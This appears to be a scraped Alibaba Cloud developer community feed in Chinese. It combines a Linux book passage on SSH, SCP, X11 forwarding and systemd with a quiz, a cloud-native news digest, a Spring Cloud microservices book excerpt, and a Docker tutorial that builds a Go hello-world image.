        是否注意到了本例中的.pem文件扩展?这意味着该密钥被保存为一个所有类型虚拟机共用的格式,包括亚马逊EC2实例。

        3.5 使用SCP安全地拷贝文件

        我敢肯定你记得在文件系统中cp命令如何将文件和目录从一个位置拷贝到另一个位置。至少在理论上,没有理由不能在网络上复制文件。但这完全是疯狂的—文件的内容将被暴露给当时正在网络上闲逛的人,或者是一段时间后浏览网络日志数据的任何人。
        请忘掉这个想法,直到你可以在cp命令前加上s标志以保证安全(secure)。为了传输文件,SCP程序使用SSH协议在任何位置拷贝任意类型的文件,并采用相同的密钥、密码和口令。假设在你之前工作的远程宿主机上已经存在一个.ssh/目录,这里给出如何将公钥(id_rsa.pub)传输到远程宿主机并将其重命名为authorized_keys的示例:
        image.png

        警告:如果在该目录下已经存在authorized_keys文件,这个操作将重写该文件,任何已有的内容都会被破坏。仅在你使用的用户账号具有某些权限时,才能拷贝和保存文件。因此,如果你的用户没有获得根权限,请不要尝试将文件保存到远程主机的
        /etc/目录。在你提出疑问之前,我想说的是,以根用户登录SSH会话通常是一个安全大忌。
        顺便说一下,你可以将远程文件拷贝到本地主机。下面的例子将一个文件从AWS EC2实例(由一个假的IP地址表示)拷贝到指定的本地目录:
        image.png

        截至目前,你用过的命令已经说明了一些重要工具。但我需要指出的是,还有第三种(官方的)方式将密钥拷贝到远程宿主机—名为ssh-copy-id的专用程序:
        image.png

        SSH会话的优点是不存在GUI层处理的拖累,其非常快速和高效。但如果你要让远程宿主计算机上运行的程序具有图形属性,可能就会出现问题。下一节将解决这个问题。

        3.6 使用SSH连接上的远程图形程序

        假设你正在尝试对一个远程位置的用户提供支持,该用户报告某款桌面软件(如LibreOffice)出错。如果你认为启动和运行该程序有助于诊断和解决这个问题,那么,你就可以使用SSH上的图形会话(使用Linux X Window管理器)来完成操作。
        话虽如此,还是不要期待奇迹会发生。以-X标志运行ssh命令,即使采用了所谓的X11 Forwarding,将允许你把基于宿主机的程序加载到客户计算机的桌面上。你得到的结果可能不会满足你的期望,因为这取决于包括网络连接质量在内的多种因素。对于诸如LibreOffice这样的重资源程序来说尤其如此。然而,它通常是值得一试的。即使带宽稍低,但也比开两小时的车前往客户的办公室要好。
        还有一件事:请不要在服务器上尝试。在大多数情况下,安装在服务器或虚拟机(如LXC或Docker容器)中的操作系统版本只有简单的图形功能或者没有。如果必须这样做,你可以安装桌面包来升级操作系统。在Ubuntu设备上,操作类似于以下步骤:
        image.png

        有了所有的免责声明,我想是时候看看它实际上是如何工作的了。首先,打开宿主机(要运行该程序的计算机)上的sshd_config。你需要确保X11 Forwarding行的值为yes(但是,出于安全考虑,请不要将该值保持超过所需要的时间):
        image.png

        在客户机的ssh_config文件中也有类似的行,也需要正确地进行设置:
        image.png

        由于你已经编辑了该配置文件,之后你需要在两台计算机上重启SSH,以确保所做的配置生效:
        image.png

        现在,你已经准备就绪。要想启动一个图形化使能的会话,请为ssh命令增加-X标志:
        image.png

        你将看到常规的命令提示符,但是现在你可以运行一个将启动图形程序的命令。尝试一些小的操作。以下命令应该会在一个Ubuntu系统上工作:
        image.png

        神奇吧!你在本地桌面窗口中成功地运行了一个远程程序。
        OpenSSH带来的价值远远超过了你看到的核心特性。一旦你获得了可以工作的SSH连接,你就可以使用各种技巧了。尝试将一个本地文件系统或目录挂载到一个远程主机上,从而允许远程用户无缝地访问你的文件。或者,通过SSH的隧道功能,使用端口转发允许安全、私密地使用远程的HTTP服务。

        3.7 Linux进程管理

        如前所述,现在我将重新讨论Linux进程管理,以使大家能够正确地理解OpenSSH等程序是如何被处理的。从长远看,了解工作机制可以让一般的管理和故障排查更加高效。但是,如果你还不想一头扎进这样的一个相关主题,也可以安全地跳过本章的剩余内容。学习本书的后续内容,你应该是没有问题的。
        到底什么是systemctl,它到底在做什么?为了正确地回答这些问题,通常你必须考虑Linux是如何管理系统进程的。因为认识新朋友总是很愉快的,所以,你也需要学习一些关于进程跟踪的工具,以更加容易地理解其工作方式。
        软件(software),如我确定你所了解的,是包含代表用户控制计算机硬件的指令的程序代码。进程(process)是正在运行的软件程序的实例。操作系统(operating system)是一个工具,被用于组织和管理这些实例/进程,以有效地使用计算机中的硬件资源。
        对于复杂的多处理器、多用户操作系统环境,组织和管理这些进程可不是一件简单的事情。为了让它工作,你需要某种监控工具来控制诸多运行的部件(如图3-4)。我来为你介绍systemctl。

        image.png

        3.7.1 用ps命令查看进程

        让我们拿出一个电子显微镜,看看是否能在进程的自然栖息地发现一个进程。在终端中输入如下命令。它将在后台(&)运行10秒后停止,不做任何处理(sleep)。然而,在其运行期间,输入ps命令:
        image.png

        在本例中,你会看到由该命令生成的两个运行的进程,其PID分别是19829和19832。如果等待10秒后再次运行ps命令,你会看到这两个进程都将不再运行。你也会看到sleep命令成功执行的反馈:
        image.png
        image.png

        通常情况下,如果你仅输入并执行ps命令,你可能只得到两个结果。首先,名为bash的进程表示当前shell会话使用的是bash命令解释器,以及最近使用的命令(当然,就是ps命令)。但是,通过观察分配给bash的PID(在之后的例子中为7447),你知道在系统中已经有许许多多的其他进程正在全力运行。这些进程由父进程shell创建,并一直回到init进程:
        image.png

        在Ubuntu系统中,当Linux计算机启动时,首先启动并做好其他一切准备的进程是init。如你即将发现的,这个名字可能是误导性的,这也是为什么CentOS中的第一个进程取了不同的名字。通过如下方式运行ps命令,你可以看到init就是第一个进程。我会简要解释相关细节:
        image.png

        输出的最右侧列(第一行的/sbin/init)表示了进程之后对应文件的位置和名称。本例中,它是存放在/sbin/目录中的init文件。第一行的最左侧列包含了root一词,说明该进程的所有者是根用户。现在唯一值得关注的信息是数字1,即init进程的PID。要获得值为1的PID的唯一方式是先于任何其他进程之前执行该进程。
        在继续学习之前,值得我们再花点时间来了解ps命令。如你所见,ps命令显示所有活动进程的信息。通常,访问与进程相关的信息是非常重要的,这能够让你正确地规划系统行为并排除故障。你会希望尽早并经常地使用ps命令。
        如之前所做的那样,为ps命令添加-e参数不仅会返回当前子shell中运行的进程,还会返回从所有父shell到init中的所有进程。
        注意:父shell是一个shell环境,在这个环境中可以启动新的shell(子shell),并在其中运行程序。你可以将GUI桌面会话看作一个shell,进而将接收命令行的终端看作其子shell。顶层shell(祖父shell?)是Linux启动时率先运行的shell。
        如果你想形象地呈现父、子shell及进程,可以使用pstree命令(添加-p参数来显示每个进程的PID)。要注意的是,第一个进程(PID为1)为何是systemd。在较早的Linux版本中(例如,Ubuntu 14.04及更早版本),它反而被称为init:
        image.png

        继续前进并在你的计算机上执行所有命令。即使是在一个安静的系统中,你也可能看到诸多进程;在繁忙的个人电脑或服务器上,很容易会有成百上千个进程。

        3.7.2 使用systemd

        关于你刚刚看到的/sbin/init文件还有一些有趣的事情:file是一个宝贵的UNIX程序,它会为你提供一个文件的内部信息。如果你以/sbin/init为参数来运行file程序,你将会看到init并不是一个真的程序,而是systemd程序的一个符号链接(symbolic link)。我们将在第12章深入地讨论符号链接,但在这里你将开始接触systemd:
        image.png

        在经历了多年的分裂和激烈的纷争后,现在几乎所有的Linux发行版都使用了相同的进程管理器systemd。这是名为init的进程的一个简易替代,init一直是所有基于UNIX的操作系统启动过程中启动的第一个进程。我的意思是,通过简易替代(drop-in replacement),即使完成工作的方式非常不同,但对于一般的观察者而言,通常systemd的功能就像init一样。这就是为什么/sbin/init文件现在只是一个指向syetemd程序的链接。
        这有点理论化,因为你可能永远不会真的通过systemd程序的名称来对其进行调用,无论是直接调用还是通过/sbin/init的前端调用。如你已经看到的,这是因为主要的管理任务是由systemctl代表systemd进行处理的。
        从技术角度看,systemd的主要工作是控制各个进程的生成、存活及消亡方式。你之前使用的systemctl命令对于这些任务而言是一个选择工具。但有点争议的是,systemd开发者对传统的进程管理功能已经进行了极大的扩展,以控制不同的系统服务。在systemd体系之下存在一组工具,如登录管理器(journald)、网络管理器(networkd)及设备管理器(猜对了,就是udevd)。好奇吗?字母d表示守护进程(daemon),它是后台的系统进程。
        随着你完成本书的学习,你将至少与这些systemd工具中的某一些不期而遇。接下来我们将要学习如何管理和备份文件系统和归档文件,后者尤为重要。

        3.8 小结

        • 加密连接是所有网络通信的关键组成,且SSH是非常常用的工业标准。
        • 通过分享一个密钥对的公钥,你可以使能免密码的SSH访问。
        • OpenSSH软件包也允许安全的文件拷贝和远程的图形化会话。
        • 在大多现代Linux发行版中,进程是由systemd通过systemctl工具来管理的。
        • 你可以在两个命令之间使用|(管道)字符传输数据,同时使用grep过滤流数据。

        主要名词

        • 密码(password)是一个常规字符组成的字符串,而口令(passphrase)可以包含空格和标点符号。
        • RSA是一个流行的加密算法。
        • X11 forwarding允许在一个远程连接上运行图形化程序。
        • Linux进程(process)是所有正在进行的活动,它与一个运行的单个程序相关联。
        • shell是一个终端环境,它提供了一个命令行解释器(如Bash)让用户执行命令。当你在Linux桌面计算机或笔记本上工作时,你会通过打开一个终端程序(如GNOME终端)来访问一个shell。
        • 父shell(parent shell)是一个初始化环境,在该环境中可以启动子shell,并在其中运行程序。总而言之,shell也是一个进程。

        安全最佳实践

        • 请永远加密在公网上运行的远程登录会话。
        • 避免只是采用密码;和人一样,它们是不可靠的。
        • 基于密钥的免密码SSH会话比简单的密码登录要更好。
        • 永远不要在公网上以纯文本形式传输文件。

        命令行回顾

        • dpkg -s openssh-client检查基于APT的软件包的状态。
        • systemctl status ssh检查系统进程(systemd)的状态。
        • systemctl start ssh启动一个服务。
        • ip addr列出计算机上的所有网络接口。
        • ssh-keygen生成一个新的SSH密钥对。
        • $ cat .ssh/id_rsa.pub | ssh ubuntu@10.0.3.142 "cat >> .ssh/authorized_keys"将一个本地密钥拷贝并粘贴到远程的计算机。
        • ssh-copy-id -i .ssh/id_rsa.pub ubuntu@10.0.3.142安全地拷贝加密密钥(建议这样做,也应该这样做)。
        • ssh -i .ssh/mykey.pem ubuntu@10.0.3.142指定一个特定的密钥对。
        • scp myfile ubuntu@10.0.3.142:/home/ubuntu/myfile安全地将一个本地文件拷贝到一台远程计算机。
        • ssh -X ubuntu@10.0.3.142允许以图形化的会话登录一台远程宿主计算机。
        • ps -ef | grep init显示当前运行的所有系统进程,并用字符串init过滤结果。
        • pstree –p以树形格式来显示当前运行的所有进程。

        自测题
        1.加密密钥的用途是:

        a.建立一个安全的网络连接
        b.加密和解密数据包
        c.观察传输中的敏感数据
        d.确保数据传输的可靠性
        

        2.使用如下哪个命令可以查看服务的状态?

        a. dpkg -s <servicename>
        b. systemd status <servicename>
        c. systemctl status <servicename>
        d. systemctl <servicename> status
        

        3.在一台宿主服务器可以接受远程SSH登录之前,必须安装如下哪个软件包?

        a. openssh-server
        b. ssh-server
        c. openssh-client
        d. ssh-client
        

        4.在使用systemd的Linux发行版上,init的工作是由如下哪个程序执行的?

        a. /lib/systemd/system
        b. /bin/system
        c. /sbin/init
        d. /bin/init
        

        5.如下哪个服务不是一个systemd服务?

        a. networkd
        b. journald
        c. processd
        d. udevd
        

        6.为了使用免密码SSH连接,这些密钥必须存放在哪里?

        a.公钥、私钥存放在宿主机,私钥存放在客户端
        b.公钥、私钥存放在宿主机,公钥存放在客户端
        c.私钥存放在宿主机,公钥存放在客户端
        d.公钥存放在宿主机,私钥存放在客户端
        

        7.在SSH会话中,口令的用途是什么?

        a.验证你到远程OpenSSH程序的身份
        b.验证你到本地OpenSSH程序的身份
        c.确定要使用的密钥对
        d.认证密钥对的状态
        

        8.如下哪条命令将一个远程文件拷贝到你的本地计算机的当前目录(假设远程目录和文件都存在)?

        a. scp mylogin@10.0.3.142:/home/mylogin/filename
        b. scp mylogin@10.0.3.142/home/mylogin/filename
        c. scp mylogin@10.0.3.142:/home/mylogin/filename
        d. scp mylogin@10.0.3.142:/home/mylogin/filename./home/myname/Documents

        答案
        1.b 2.c 3.a 4.a 5.c 6.d 7.b 8.a

        ]]>
        2019 年容器生态统计报告发布 | 云原生生态周报 Vol. 26-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 0

        作者 | 酒祝、天元、元毅、心水、衷源

        业界要闻

        1.2019 年容器生态统计报告发布 

        据报告显示,Kubernetes 占据 77% 的容器编排产品份额,Docker 占据 79% 的容器引擎产品份额。

        1
        2

        2.Kubernetes 创建 1.17 release 分支

        发布了 1.17.0-beta.0 和 1.18.0-alpha.0 版本。

        3.CNCF 宣布 Vitess 毕业

        CNCF 宣布 Vitess(云原生数据库)毕业,成为继 Kubernetes、Prometheus、Envoy、CoreDNS、containerd、Fluentd 和 Jaeger 之后的第八个毕业项目。

        4.CNCF 接纳 Rancher Longhorn 为沙箱项目

        Rancher 开源的分布式块存储项目 Longhorn,作为 Sandbox 沙箱项目加入 CNCF。

        上游重要进展

        1.Ready Pod Priority

        为调度器新增 Ready Pod Priority,尽量调度到有最少 not-ready pod 的 node 上。

        2.Storage Capacity Constraints for Pod Scheduling

        调度器支持感知 ephemeral inline volumes,调度时考虑可用 storage 空间 。

        3.Add KEP for Request ID

        为每个资源生成一个唯一的 Request-ID,用于在所有 K8s 日志中搜索 。

        4.StoragePool API for Advanced Storage Placement

        新增 StoragePool API,来优化 underlaying storage 的放置。 

        5.Score Plugin

        新增 ServiceAntiAffinityPriority、NodeLabelPriority 作为调度打分插件 。

        6.Knative Eventing 0.10.0 版本发布

        采用 Destination 资源作为统一访问资源等。

        7.Knative Serving 0.10.0 版本发布

        本次主要对 activator 的负载均衡做了优化。

        开源项目推荐

        1.KUDO

        Kubernetes Universal Declarative Operator,Kubernetes 通用声明性框架 Operator。KUDO 是 Kubernetes Operator 的开发工具和运行时,通过几行 YAML 的声明性方式,取代了数万行的复杂代码库,使编写操作器变得高效和简单,允许 Operator 开发者和最终用户使用他们已知的工具来管理有状态服务。

        2.Longhorn

        Longhorn 提供了一种简单、轻量、极适用于容器和 Kubernetes 的持久化存储解决方案,同时极大地简化了用户部署、使用和管理的工作,从而帮助团队更好地管理 Kubernetes 中的有状态工作负载。

        本周阅读推荐

        1.《基于 Raft 构建大型分布式存储系统》

        构建健壮的分布式系统是非常复杂的。本文主要分享了一些基于 Raft 共识算法构建大型分布式存储系统的关键设计思想。

        2.《HOW ZALANDO MANAGES 140+ KUBERNETES CLUSTERS》

        本文介绍了 Zalando 的团队在(公有云上)管理数量棒庞大的 K8s 集群中得到的一些实践经验,例如每个 domain 或者 production community 总是部署双集群(prod & non-prod)、使用 Github 托管配置文件、通过 CLM(Cluster Lifecycle Manager)管理升级等等。

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        带你读《Spring Cloud微服务:入门、实战与进阶》之一:Spring Cloud 与微服务概述-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第二章
        点击查看第三章
        Spring Cloud微服务:入门、实战与进阶

        image.png

        尹吉欢 著

        第1章

        Spring Cloud 与微服务概述
        微服务架构是一种架构风格,而Spring Cloud 是实现微服务架构的一系列框架的有序集合。本章将带你进入神秘的微服务世界,去探索微服务存在的价值及意义,并为阅读后面的章节打下扎实的理论基础。
        本书涉及的源码均可在 https://github.com/yinjihuan/spring-cloud 中下载。如果下载失败,也可以发邮件给笔者 jihuan900@126.com,或者关注微信公众号 “猿天地”,直接与笔者交流。

        1.1 传统的单体应用

        所谓单体应用程序,通俗来说就是把所有功能全部堆积在一起。这个应用大部分都是一个 WAR 包或者 JAR 包。以笔者自己搭建的技术网站“猿天地”为例,用户、文章、源码、课程都是在一个项目中的。随着业务的发展,功能的增加,多年以后这个单体项目将变得越来越臃肿。
        这样的单体应用在公司创建初期是一种比较好的方案,要快速增加新功能或部署发布都比较简单。不过,随着时间的推移,危机也会慢慢显露出来。任何一个BUG都可能导致整个应用瘫痪,正所谓牵一发而动全身。

        1.1.1 改进单体应用的架构

        架构总是通过演变而来的,既然传统的单体应用架构不能满足业务的发展,那么架构的改变必然会提上日程。在系统不能支撑当前的用户量后,我们将项目按照不同的业务来做拆分,分成多个子系统,系统之间通过 Webservice 或者 HTTP 接口来进行交互,这样做的好处是系统不再那么臃肿了。
        随着用户量越来越多,系统的压力也随之增长。可能其中某一个模块使用的频率比较高,这个时候就需要对这个模块进行扩展,其实就是多部署几个节点。前面再加一个 Nginx 用于负载均衡,刚开始还没什么大问题,当子系统越来越多的时候,每个子系统前面都要加一层负载,对运维人员来说工作量就增加了,因为要维护的也增多了。

        1.1.2 向微服务靠拢

        前面讲了这么多,还是不能满足互联网公司快速发展的需求,比如高并发、高可用、高扩展。于是基于之前的架构又改进了一番,引入了阿里巴巴开源的 Dubbo 框架,解决了服务之间的调用问题,服务调用方不再需要关注服务提供方的地址,只要从注册中心获取服务提供方的地址即可。
        目前国内很多公司的微服务架构都是基于 Dubbo 构建的,为什么我们要转向 Spring Cloud ?可以从下面几个方面进行分析:
        社区的支持:

        • 首先 Spring Cloud 有强大的社区支持, 在 Java 生态圈必定离不开 Spring,且Spring Cloud 的更新频率也越来越高。
        • Dubbo 虽然出自阿里巴巴,但是有很长一段时间没维护了,原因是内部有另一个RPC 的框架 HSF,所以 Dubbo 被抛弃了,不过去年 Dubbo 又重回大众视野,对使用开源框架的用户来说,社区对框架的持续维护非常重要,所以笔者认为 Spring 家族的产品更适合中小型公司。

        关注内容:

        • Spring Cloud 关注的是整个服务架构会涉及的方方面面,在 Spring Cloud 中各种组件应有尽有,从而使其具有可快速集成、方便、成本低等优势。
        • Dubbo 关注的更细一些,只针对服务治理,相当于 Spring Cloud 中的一个子集。能和 Dubbo 相互比较的应该是 gRPC,Thrift 之类的框架。

        性能问题:

        • 对于性能这块,Dubbo 确实要比 Spring Cloud 好,原因大家也都清楚,Dubbo 基于 Netty 的 TCP 及二进制的数据传输,Spring Cloud 基于 HTTP,HTTP 每次都要创建连接,传输的也是文本内容,自然在性能上有些损耗。
        • Spring Cloud 带来的性能损耗对于大部分应用来说是可以接受的,而它具有的HTTP 风格的 API 交互,在不同的语言中是通用的,且对每个微服务的测试来说是非常方便的,也就是说 Spring Cloud 用小的性能损耗换来了更多好处。当当网在Dubbo 的基础上加上 REST 的支持扩展出目前的 Dubbox 也是这个道理。

        1.2 什么是微服务

        “微服务”一词来源于Martin Fowler的《Microservices》一文。微服务是一种架构风格,即将单体应用划分为小型的服务单元,微服务之间使用HTTP的API进行资源访问与操作。
        在笔者看来,微服务架构的演变更像是一个公司的发展过程,从最开始的小公司,到后来的大集团。大集团可拆分出多个子公司,每个子公司的都有自己独立的业务、员工,各自发展,互不影响,合起来则是威力无穷。

        1.2.1 使用微服务架构的优势和劣势

        臃肿的系统、重复的代码、超长的启动时间带给开发人员的只有无限的埋怨,丝毫没有那种很舒服的、很流畅的写代码的感觉。他们把大部分时间都花在解决问题和项目启动上面了。
        1.优势
        使用微服务架构能够为我们带来如下好处:

        • 服务的独立部署:每个服务都是一个独立的项目,可以独立部署,不依赖于其他服务,耦合性低。
        • 服务的快速启动:拆分之后服务启动的速度必然要比拆分之前快很多,因为依赖的库少了,代码量也少了。
        • 更加适合敏捷开发:敏捷开发以用户的需求进化为核心,采用迭代、循序渐进的方法进行。服务拆分可以快速发布新版本,修改哪个服务只需要发布对应的服务即可, 不用整体重新发布。
        • 职责专一,由专门的团队负责专门的服务:业务发展迅速时,研发人员也会越来越多,每个团队可以负责对应的业务线,服务的拆分有利于团队之间的分工。
        • 服务可以动态按需扩容:当某个服务的访问量较大时,我们只需要将这个服务扩容即可。
        • 代码的复用:每个服务都提供 REST API,所有的基础服务都必须抽出来,很多的底层实现都可以以接口方式提供。

        2.劣势
        微服务其实是一把双刃剑,既然有利必然也会有弊。下面我们来谈谈微服务有哪些弊端,以及能采取什么办法避免。

        • 分布式部署,调用的复杂性高:单体应用的时候,所有模块之前的调用都是在本地进行的,在微服务中,每个模块都是独立部署的,通过 HTTP 来进行通信,这当中会产生很多问题,比如网络问题、容错问题、调用关系等。
        • 独立的数据库,分布式事务的挑战:每个微服务都有自己的数据库,这就是所谓的去中心化的数据管理。这种模式的优点在于不同的服务,可以选择适合自身业务的数据,比如订单服务可以用MySQL、评论服务可以用Mongodb、商品搜索服务可以用Elasticsearch。缺点就是事务的问题了,目前最理想的解决方案就是柔性事务中的最终一致性,后面的章节会给大家做具体介绍。
        • 测试的难度提升:服务和服务之间通过接口来交互,当接口有改变的时候,对所有的调用方都是有影响的,这时自动化测试就显得非常重要了,如果要靠人工一个个接口去测试,那工作量就太大了。这里要强调一点,就是API文档的管理尤为重要。
        • 运维难度的提升:在采用传统的单体应用时,我们可能只需要关注一个Tomcat的集群、一个MySQL的集群就可以了,但这在微服务架构下是行不通的。当业务增加时,服务也将越来越多,服务的部署、监控将变得非常复杂,这个时候对于运维的要求就高了。

        1.2.2 重构前的准备工作

        对于上不上微服务,关键在于公司的发展程度。系统是否真的到了必须做分解的地步?在上微服务之前一定要做好技术选型。用什么框架来构建微服务?公司是否支持重构?这些问题都很重要,没有公司的支持一切都是空谈。你要告诉你的上级为什么要重构,为什么要上微服务,上了之后能解决哪些问题,比如能否提高系统稳定性、能否节约机器资源等。有了明确的目标及计划,我相信这件事必成。
        在重构之前,架构师一定要对公司所有的产品做一遍梳理,出一个重构方案,画一个架构图。还要对团队成员进行一次培训,讲讲重构的过程中会遇到哪些技术问题,可采用什么方式解决,在这个过程中大家能学到什么。我相信,对于有成长、有意义的事情,就算加班,大家也会开心的。这些你都不准备好,别人会觉得你没事找事,天天让他加班。
        重构时最好采用循序渐进的模式,首先对一个产品进行重构规划,抽出业务服务,再抽出这个产品所依赖的基础服务,基础服务是最为重要的。等一个产品稳定之后,再重构其他产品,把核心业务放到最后面。不要想着一步登天,重构就像堆积木,堆着堆着就高了,一周抽一个微服务,慢慢就都变成微服务了。

        1.3 什么是Spring Cloud

        Spring Cloud 是一系列框架的有序集合。它利用 Spring Boot 的开发便利性,巧妙地简化了分布式系统基础设施的开发,如服务注册、服务发现、配置中心、消息总线、负载均衡、断路器、数据监控等,这些都可以用 Spring Boot 的开发风格做到一键启动和部署。通俗地讲,Spring Cloud 就是用于构建微服务开发和治理的框架集合(并不是具体的一个框架),主要贡献来自 Netflix OSS。

        1.3.1 Spring Cloud模块介绍

        Spring Cloud 模块的相关介绍如下:

        • Eureka:服务注册中心,用于服务管理。
        • Ribbon:基于客户端的负载均衡组件。
        • Hystrix:容错框架,能够防止服务的雪崩效应。
        • Feign:Web 服务客户端,能够简化 HTTP 接口的调用。
        • Zuul:API 网关,提供路由转发、请求过滤等功能。
        • Config:分布式配置管理。
        • Sleuth:服务跟踪。
        • Stream:构建消息驱动的微服务应用程序的框架。
        • Bus:消息代理的集群消息总线。

        除了上述模块,还有 Cli、Task……。本书只介绍一些常用的模块。
        Spring Cloud 是一个非常好的框架集合,它包含的功能模块非常多,这里不可能一一讲解到,凡是在本书中出现的模块都是真实开发中用得到的。对于那些没有在本书中进行讲解的模块,大家也可以自行学习,当然有任何问题也可以咨询笔者。

        1.3.2 Spring Cloud版本介绍

        相信大家跟笔者一样,在第一次访问 Spring Cloud 官网时一定会有一个疑惑那就是版本太多了,到底哪个是稳定版本?哪个才是自己需要的版本?接下来就给大家简单介绍一下版本的问题。
        访问官网 https://projects.spring.io/spring-cloud/#learn 可以看到网页右侧的版本列表,如图1-1 所示。
        截至本书完稿时,最新的稳定版本是 Finchley SR2。为什么其中还有 Dalston、Edgware等这些版本?而不是像别的项目那样,版本号采用 1.1、1.2、1.3 这种的格式?因为 Spring Cloud 是一个拥有诸多子项目的大型综合项目,可以说是对微服务架构解决方案的综合套件组件,其中包含的各个子项目都独立进行着内容的迭代与更新,各自维护着自己的发布版本号。
        至于怎么选择适合自己的版本,笔者认为,大家可以在接触的时候直接选最新的稳定版本。新版本中的Bug肯定要少,并且更稳定。写作本书的时候,官方发布的Spring Cloud最新稳定版本是 Finchley SR2,所以本书的案例都是基于 Finchley SR2 进行讲解的。不同的版本有不同的功能,对应的每个子模块的版本也不一样,那么如何知道每个大版本下面具体的子模块是什么版本呢?答案就在官网的首页上面,在页面的最下方有一个表格(见表1-1),通过这个表格我们可以清楚地知道 Finchley SR2 对应的 Spring Boot 版本是 2.0.6.RELEASE,Spring-Cloud- Bus 是 2.0.0.RELEASE。

        image.png

        image.png

        1.4 本章小结

        Spring Cloud 的诞生对于微服务架构来说简直是如鱼得水,本章主要是对微服务及Spring Cloud 做了一些理论性的讲解,同时介绍了我们为什么要选择 Spring Cloud、Spring Cloud 有哪些内容、使用 Spring Cloud 能够为我们带来什么好处等。下一章我们将学习Spring Boot 框架的使用方法。

        ]]>
        你的第一个容器镜像,构建、分发、运行 [ K8s | from zero to hero ]-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 什么是容器?

        因为虚拟机(vm)存在一定不足,容器技术的诞生后才如此受欢迎。以传统的Java应用架构而言,将一个应用程序生成一个war包,放到一个tomcat容器当中并在一台虚拟机(VM)中启动运行,然后配置nginx的负载均衡策略,将来自用户的请求转发到某个tomcat应用上,这种基于主机或虚拟机部署的应用会存在以下问题:可移植性差、可维护性差、可扩展性差、无法资源隔离。扩展阅读

        而容器是什么呢?它就是一个视图隔离、资源可限制、独立文件系统的进程集合。所谓“视图隔离”就是能够看到部分进程以及具有独立的主机名等;控制资源使用率则是可以对于内存大小以及 CPU 使用个数等进行限制。容器就是一个进程集合,它将系统的其他资源隔离开来,具有自己独立的资源视图。

        容器具有一个独立的文件系统,因为使用的是系统的资源,所以在独立的文件系统内不需要具备内核相关的代码或者工具,我们只需要提供容器所需的二进制文件、配置文件以及依赖即可。只要容器运行时所需的文件集合都能够具备,那么这个容器就能够运行起来。扩展阅读《详解 K8s 容器基本概念》

        什么是容器镜像?

        从一个比较具体的角度去看,镜像就是一个多层存储的文件,相较于普通的ISO系统镜像来说,分层存储会带来两个优点:

        • 一个是分层存储的镜像比较容易扩展,比如我们可以基于一个Ubuntu镜像去构建我们的Nginx镜像,这样我们只需要在Ubuntu镜像的基础上面做一些Nginx的安装配置工作。一个Nginx镜像工作就算制作完成了,我们不需要从头开始去制作各种镜像。
        • 另一点是可以优化镜像存储空间,假如我们有两个镜像,Tag1.0镜像和 Tag2.0镜像,我们如果以传统方式去传这两个镜像,每个镜像大概130多兆,但如果我们以分层的方式去存储两个镜像,我们通过下面两个紫色的才能共享,可以节约大量的空间,两个镜像加起来只需要140多兆的空间就可以存下来。这样一是节省了存储空间,二是可以减少网络上的开销,比如我们已经把下面镜像下载了,我们要去下载上面镜像的时候,我们只需要去下10M的部分。

        如果从抽象的角度去看,Docker镜像其实是Docker提供的一种标准化的交付手段传统应用在交付的时候其实是交付一个可执行文j件。问题在于传统方式的这个可执行文件不包括它的运行环境,我们可能会因为32位系统或64位系统,或者开发测试使用1.0软件,结果交付时候发现用户的环境是2.0等各种各样的问题,导致我们要去花时间去排查;但是,如果我们以Docker镜像的标准化形式去交付,我们就会避免掉这些问题。

        扩展阅读《Docker 镜像优化与最佳实践

        **好了,闲话少叙。下面开始实验时间。
        **

        1. 实验概述

        本实验会使用 Dockerfile 将下面 golang 代码构建成镜像,并通过阿里云镜像服务将镜像分发到阿里云虚拟机,运行该镜像。

        package main
        
        import (
                "fmt"
                "net/http"
        )
        
        func main() {
                http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
                        fmt.Fprintf(w, "Hello! Worldn")
                })
        
                fmt.Println("start to serve...")
                http.ListenAndServe(":80", nil)
        }

        2. 实验目标

        完成此实验后,可以掌握的能力有:

        1. Dockerfile 编写和使用
        2. 使用阿里云镜像服务来分发镜像。

        NOTE: 学前建议: 了解 docker 的基本操作命令 以及 如何使用 ECS 实例。

        3. 实验详情

        3.1 准备应用代码和 Dockerfile

        首先在本地生成一个文件夹 demo,并将 golang 代码拷贝到 demo 文件夹下的 main.go.

        $ pwd
        /tmp/demo
        
        $ ls
        main.go
        
        $ cat main.go
        package main
        
        import (
                "fmt"
                "net/http"
        )
        
        func main() {
                http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
                        fmt.Fprintf(w, "Hello! Worldn")
                })
        
                fmt.Println("start to serve...")
                http.ListenAndServe(":80", nil)
        }

        在当前 demo 目录下编写 Dockerfile ,如下所示

        $ cat Dockerfile
        FROM golang:1.12-alpine
        
        # change current working dir
        WORKDIR /go/src/app
        
        # copy main.go into /go/src/app
        COPY . .
        
        # go build and install the app
        RUN go install -v ./...
        
        # run the app by default
        CMD ["app"]

        3.2 构建镜像

        通常情况下,使用以下命令即可构建镜像

        $ pwd
        /tmp/demo
        
        # demo:v1 表示镜像名字demo和标签v1
        $ docker build . -t demo:v1
        
        Sending build context to Docker daemon  3.072kB
        Step 1/5 : FROM golang:1.12-alpine
         ---> 8ff3fd35cf82
        Step 2/5 : WORKDIR /go/src/app
        Removing intermediate container ffd88a948413
         ---> 1056ea513b89
        Step 3/5 : COPY . .
         ---> 9fc4655c973a
        Step 4/5 : RUN go install -v ./...
         ---> Running in 928fc776a6e1
        app
        Removing intermediate container 928fc776a6e1
         ---> a93f17a3a726
        Step 5/5 : CMD ["app"]
         ---> Running in 9e3463aa81f6
        Removing intermediate container 9e3463aa81f6
         ---> 8697c7279c74
        Successfully built 8697c7279c74
        Successfully tagged demo:v1

        NOTE:

        在国内访问 Docker Hub 速度比较慢,可以在Docker引擎中设置镜像加速器加速对Docker Hub的访问。

        更新 /etc/docker/daemon.json,添加如下参数,并重启Docker引擎。

        {
         "registry-mirrors": ["https://registry.docker-cn.com"]
        }
        构建完毕之后,可以在本地运行验证下是否符合预期
        

        映射容器内 80 端到宿主机上的 8000 端口

        $ docker run -d -p 8000:80 demo:v1

        curl 一下查看结果

        $ curl localhost:8000
        Hello! World

        如果看到 `Hello! World` 字样,我们就可以进入下一个环节了。
        
        #### 3.3 推送镜像至阿里云容器镜像服务
        
